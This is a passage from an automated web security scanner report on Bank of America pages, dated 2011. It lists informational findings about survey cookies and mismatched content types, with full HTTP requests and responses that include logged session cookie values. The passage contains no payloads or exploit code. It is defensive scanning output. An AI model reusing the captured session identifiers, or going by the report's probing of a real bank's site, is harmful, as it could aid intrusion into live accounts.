Set-Cookie: state=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com
Set-Cookie: state=MA; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com
Page-Completion-Status: Normal
Page-Completion-Status: Normal
Set-Cookie: SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; path=/; domain=.bankofamerica.com;
Content-Length: 16269


                                                                                                                       <html lang="en-US">
<head>


<script language="JavaScript" type="text/javascript">
   <!--
       var hParent = null;
       var
...[SNIP]...

6.2. http://www.bankofamerica.com/surveys/survey_popup_invoker.cfm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /surveys/survey_popup_invoker.cfm

Request

GET /surveys/survey_popup_invoker.cfm?surveynumber=9&blurwindow= HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://www.bankofamerica.com/surveys/bridge/surveybridge.cfm?surveynumber=9
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997; state=MA; CFID=139695610; CFTOKEN=53028ef%2D0000d77b%2D45df%2D1e0a%2Db202%2D839b8e390000; GEOSERVER=1; SURVEY_SHOWN_IN_LAST_6_MONTHS=N; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:21:36 GMT
Content-type: text/html
P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi"
Set-Cookie: state=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com
Set-Cookie: state=MA; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com
Page-Completion-Status: Normal
Page-Completion-Status: Normal
Content-Length: 8802


                                                                                                                                                                                                                                                                                                <!DOCTYPE html PUBLIC "-//W3C//DTD html 4
...[SNIP]...

6.3. http://www.bankofamerica.com/surveys/survey_select.cfm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /surveys/survey_select.cfm

Request

GET /surveys/survey_select.cfm?surveynumber=9&blurwindow= HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://www.bankofamerica.com/surveys/survey_popup_invoker.cfm?surveynumber=9&blurwindow=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997; CFID=139695610; CFTOKEN=53028ef%2D0000d77b%2D45df%2D1e0a%2Db202%2D839b8e390000; GEOSERVER=1; SURVEY_SHOWN_IN_LAST_6_MONTHS=N; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; state=MA

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:21:38 GMT
Content-type: text/html
P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi"
Set-Cookie: state=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com
Set-Cookie: state=MA; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com
Page-Completion-Status: Normal
Page-Completion-Status: Normal
Set-Cookie: SURVEY_SHOWN_IN_LAST_6_MONTHS=Y; expires=Wed, 28-Dec-2011 00:00:00 GMT; path=/; domain=.bankofamerica.com;
Set-Cookie: SURVEY_SHOW_DETAILS=CTS+Survey+for+ATM+BC+Locator+II%2C1%2C1; expires=Wed, 28-Dec-2011 00:00:00 GMT; path=/; domain=.bankofamerica.com;
Content-Length: 735


                                                                                                                                                                                                                                                                                                                                                           
...[SNIP]...

7. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


7.1. http://www.bankofamerica.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.bankofamerica.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997; CFID=139695610; CFTOKEN=53028ef%2D0000d77b%2D45df%2D1e0a%2Db202%2D839b8e390000; GEOSERVER=1; SURVEY_SHOWN_IN_LAST_6_MONTHS=N; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; state=MA

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:21:37 GMT
Content-length: 1406
Content-type: text/plain
Last-modified: Thu, 01 Aug 2002 16:37:18 GMT
Etag: "57e-3d4963be"
Accept-ranges: bytes

..............h.......(....... ...........@...............................................................................................................k...H...%............z...b...Js..2P...........
...[SNIP]...

7.2. http://www.bankofamerica.com/global/images/new_Banklogo.gif  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.bankofamerica.com
Path:   /global/images/new_Banklogo.gif

Issue detail

The response contains the following Content-type statement:The response states that it contains a GIF image. However, it actually appears to contain a JPEG image.

Request

GET /global/images/new_Banklogo.gif HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://www.bankofamerica.com/findit/error.cgi
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; BOFA_LOCALE_COOKIE=en-US; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; session_start_time=1309296076997; CFID=139695610; CFTOKEN=53028ef%2D0000d77b%2D45df%2D1e0a%2Db202%2D839b8e390000; GEOSERVER=1; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; SURVEY_SHOWN_IN_LAST_6_MONTHS=Y; SURVEY_SHOW_DETAILS=CTS+Survey+for+ATM+BC+Locator+II%2C1%2C1; state=MA; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; CMAVID=70121306499602161810121; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:22:19 GMT
Content-length: 24065
Content-type: image/gif
Last-modified: Sun, 25 Oct 2009 08:57:26 GMT
Etag: "5e01-4ae412f6"
Accept-ranges: bytes

......JFIF.....H.H....
.Exif..MM.*.............................b...........j.(...........1.........r.2...........i...............
....'..
....'.Adobe Photoshop CS3 Windows.2009:06:30 12:19:11.........
...[SNIP]...

Report generated by XSS.CX at Tue Jun 28 16:28:56 CDT 2011.